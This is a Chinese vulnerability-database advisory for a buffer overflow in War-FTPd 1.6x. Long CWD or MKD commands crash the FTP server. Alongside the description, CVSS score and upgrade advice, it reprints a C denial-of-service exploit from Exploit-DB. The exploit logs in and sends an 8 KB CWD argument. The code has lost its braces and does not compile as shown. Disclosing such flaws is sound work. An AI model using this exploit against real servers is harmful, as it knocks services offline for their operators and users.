发布时间 :2000-02-01 00:00:00
修订时间 :2016-10-17 22:06:33

[原文]Buffer overflow in War FTPd 1.6x allows users to cause a denial of service via long MKD and CWD commands.

[CNNVD]War-FTPd 1.6x CWD/MKD DoS漏洞(CNNVD-200002-013)

        War FTPd 1.6x版本存在缓冲区溢出漏洞。用户借助超长MKD和CWD命令可以导致拒绝服务。

- CVSS (基础分值)

CVSS分值: 5 [中等(MEDIUM)]
机密性影响: [--]
完整性影响: [--]
可用性影响: [--]
攻击复杂度: [--]
攻击向量: [--]
身份认证: [--]

- CPE (受影响的平台与产品)


- OVAL (用于检测的技术细节)


- 官方数据库链接
(官方数据源) MITRE
(官方数据源) NVD
(官方数据源) CNNVD

- 其它链接及资源
(UNKNOWN)  BUGTRAQ  20000201 war-ftpd 1.6x DoS

- 漏洞信息

War-FTPd 1.6x CWD/MKD DoS漏洞
中危 缓冲区溢出
2000-02-01 00:00:00 2005-05-02 00:00:00
        War FTPd 1.6x版本存在缓冲区溢出漏洞。用户借助超长MKD和CWD命令可以导致拒绝服务。

- 公告与补丁

        Version 1.67-4 has been patched against this vulnerability, and is available at:
        Also, upgrading to version 1.71 will fix this problem. 1.71 is available at:
        These versions have a sanity check that prevents arguments longer than the length specified in the MAX_PATH variable from being accepted.

- 漏洞信息 (19740)

Jgaa WarFTPd 1.66 x4s/1.67 -3 CWD/MKD DoS Vulnerability (EDBID:19740)
windows dos
2000-02-03 Verified
0 crc
N/A [点击下载]

War-FTPd 1.67 and possibly previous versions are susceptible to a buffer overflow DoS attack.

Due to improper bounds checking in the code that handles MKD and CWD commands, it is possible to remotely crash the server by submitting extremely long pathnames as arguments to either command. 

/* war-ftpd 1.66x4s and 1.67-3 DoS sample by crc "warftpd-dos.c"*/

#include    <stdio.h>
#include    <string.h>
#include    <winsock.h>
#include    <windows.h>

#define     FTP_PORT        21
#define     MAXBUF          8182
//#define     MAXBUF          553
#define     MAXPACKETBUF    32000
#define     NOP             0x90

void main(int argc,char *argv[])
    SOCKET               sock;
    unsigned long        victimaddr;
    SOCKADDR_IN          victimsockaddr;
    WORD                 wVersionRequested;
    int                  nErrorStatus;
    static unsigned char buf[MAXBUF],packetbuf[MAXPACKETBUF],*q;
    hostent              *victimhostent;
    WSADATA              wsa;

    if (argc < 3){
        printf("Usage: %s TargetHost UserName Password\n",argv[0]); exit(1);

    wVersionRequested = MAKEWORD(1, 1);
    nErrorStatus = WSAStartup(wVersionRequested, &wsa);
    if (atexit((void (*)(void))(WSACleanup))) {
        fprintf(stderr,"atexit(WSACleanup)failed\n"); exit(-1);

    if ( nErrorStatus != 0 ) {
        fprintf(stderr,"Winsock Initialization failed\n"); exit(-1);

    if ((sock=socket(AF_INET,SOCK_STREAM,0))==INVALID_SOCKET){
        fprintf(stderr,"Can't create socket.\n"); exit(-1);

    victimaddr = inet_addr((char*)argv[1]);
    if (victimaddr == -1) {
        victimhostent = gethostbyname(argv[1]);
        if (victimhostent == NULL) {
            fprintf(stderr,"Can't resolve specified host.\n"); exit(-1);
            victimaddr = *((unsigned long *)((victimhostent->h_addr_list)[0]));

    victimsockaddr.sin_family        = AF_INET;
    victimsockaddr.sin_addr.s_addr  = victimaddr;
    victimsockaddr.sin_port  = htons((unsigned short)FTP_PORT);

    if(connect(sock,(struct sockaddr *)&victimsockaddr,sizeof(victimsockaddr)) == SOCKET_ERROR){
        fprintf(stderr,"Connection refused.\n"); exit(-1);

    printf("Attacking war-ftpd ...\n");
    recv(sock,(char *)packetbuf,MAXPACKETBUF,0);
    sprintf((char *)packetbuf,"USER %s\r\n",argv[2]);
    send(sock,(char *)packetbuf,strlen((char *)packetbuf),0);
    recv(sock,(char *)packetbuf,MAXPACKETBUF,0);
    sprintf((char *)packetbuf,"PASS %s\r\n",argv[3]);
    send(sock,(char *)packetbuf,strlen((char *)packetbuf),0);
    recv(sock,(char *)packetbuf,MAXPACKETBUF,0);

    memset(buf,NOP,MAXBUF); buf[MAXBUF-1]=0;

    sprintf((char *)packetbuf,"CWD %s\r\n",buf);
    send(sock,(char *)packetbuf,strlen((char *)packetbuf),0);

    shutdown(sock, 2);

- 漏洞信息

WarFTPd CWD Command Overflow DoS
Remote / Network Access Denial of Service, Input Manipulation
Loss of Integrity, Loss of Availability
Exploit Public

- 漏洞描述

WarFTPd contains a flaw that may allow a remote denial of service. The issue is triggered when a remote attacker supplies a CWD command with an overly large string (8k), and will result in loss of availability for the service.

- 时间线

2000-02-03 Unknow
2000-02-03 Unknow

- 解决方案

Upgrade to version 1.67-4 or higher, as it has been reported to fix this vulnerability. An upgrade is required as there are no known workarounds.

- 相关参考

- 漏洞作者